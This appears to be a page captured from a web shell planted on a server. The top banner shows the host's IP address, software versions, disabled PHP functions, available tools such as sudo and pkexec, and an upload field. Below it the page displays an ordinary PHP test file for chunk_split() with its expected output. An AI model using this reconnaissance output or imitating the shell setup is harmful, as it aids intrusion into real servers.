????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.224.96.245 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/strings/ |
Upload File : |
--TEST-- Test chunk_split() function : usage variations - different double quoted strings for 'ending' argument --FILE-- <?php /* Prototype : string chunk_split(string $str [, int $chunklen [, string $ending]]) * Description: Returns split line * Source code: ext/standard/string.c * Alias to functions: none */ /* * passing different double quoted strings for 'ending' argument to chunk_split() * here 'chunklen' is set to 6.5 */ echo "*** Testing chunk_split() : different strings for 'ending' ***\n"; //Initializing variables $str = "This is to test chunk_split() with various ending string"; $chunklen = 6.5; //different values for 'ending' argument $values = array ( "", //empty " ", //space "a", //Single char "ENDING", //regular string "@#$%^", //Special chars // white space chars "\t", "\n", "\r", "\r\n", "\0", //Null char "123", //Numeric "(MSG)", //With ( and ) ")ending string(", //sentence as ending string ")numbers 1234(", ")speci@! ch@r$(" ); //loop through element of values for 'ending' for($count = 0; $count < count($values); $count++) { echo "-- Iteration $count --\n"; var_dump( chunk_split($str, $chunklen, $values[$count]) ); } echo "Done" ?> --EXPECTF-- *** Testing chunk_split() : different strings for 'ending' *** -- Iteration 0 -- string(56) "This is to test chunk_split() with various ending string" -- Iteration 1 -- string(66) "This i s to t est ch unk_sp lit() with v arious endin g stri ng " -- Iteration 2 -- string(66) "This ias to taest chaunk_spalit() awith vaariousa endinag strianga" -- Iteration 3 -- string(116) "This iENDINGs to tENDINGest chENDINGunk_spENDINGlit() ENDINGwith vENDINGariousENDING endinENDINGg striENDINGngENDING" -- Iteration 4 -- string(106) "This i@#$%^s to t@#$%^est ch@#$%^unk_sp@#$%^lit() @#$%^with v@#$%^arious@#$%^ endin@#$%^g stri@#$%^ng@#$%^" -- Iteration 5 -- string(66) "This i s to t est ch unk_sp lit() with v arious endin g stri ng " -- Iteration 6 -- string(66) "This i s to t est ch unk_sp lit() with v arious endin g stri ng " -- Iteration 7 -- string(66) "This i s to t est ch unk_sp lit() with v arious endin g stri ng " -- Iteration 8 -- string(76) "This i s to t est ch unk_sp lit() with v arious endin g stri ng " -- Iteration 9 -- string(66) "This i s to t est ch unk_sp lit() with v arious endin g stri ng " -- Iteration 10 -- string(86) "This i123s to t123est ch123unk_sp123lit() 123with v123arious123 endin123g stri123ng123" -- Iteration 11 -- string(106) "This i(MSG)s to t(MSG)est ch(MSG)unk_sp(MSG)lit() (MSG)with v(MSG)arious(MSG) endin(MSG)g stri(MSG)ng(MSG)" -- Iteration 12 -- string(206) "This i)ending string(s to t)ending string(est ch)ending string(unk_sp)ending string(lit() )ending string(with v)ending string(arious)ending string( endin)ending string(g stri)ending string(ng)ending string(" -- Iteration 13 -- string(196) "This i)numbers 1234(s to t)numbers 1234(est ch)numbers 1234(unk_sp)numbers 1234(lit() )numbers 1234(with v)numbers 1234(arious)numbers 1234( endin)numbers 1234(g stri)numbers 1234(ng)numbers 1234(" -- Iteration 14 -- string(206) "This i)speci@! ch@r$(s to t)speci@! ch@r$(est ch)speci@! ch@r$(unk_sp)speci@! ch@r$(lit() )speci@! ch@r$(with v)speci@! ch@r$(arious)speci@! ch@r$( endin)speci@! ch@r$(g stri)speci@! ch@r$(ng)speci@! ch@r$(" Done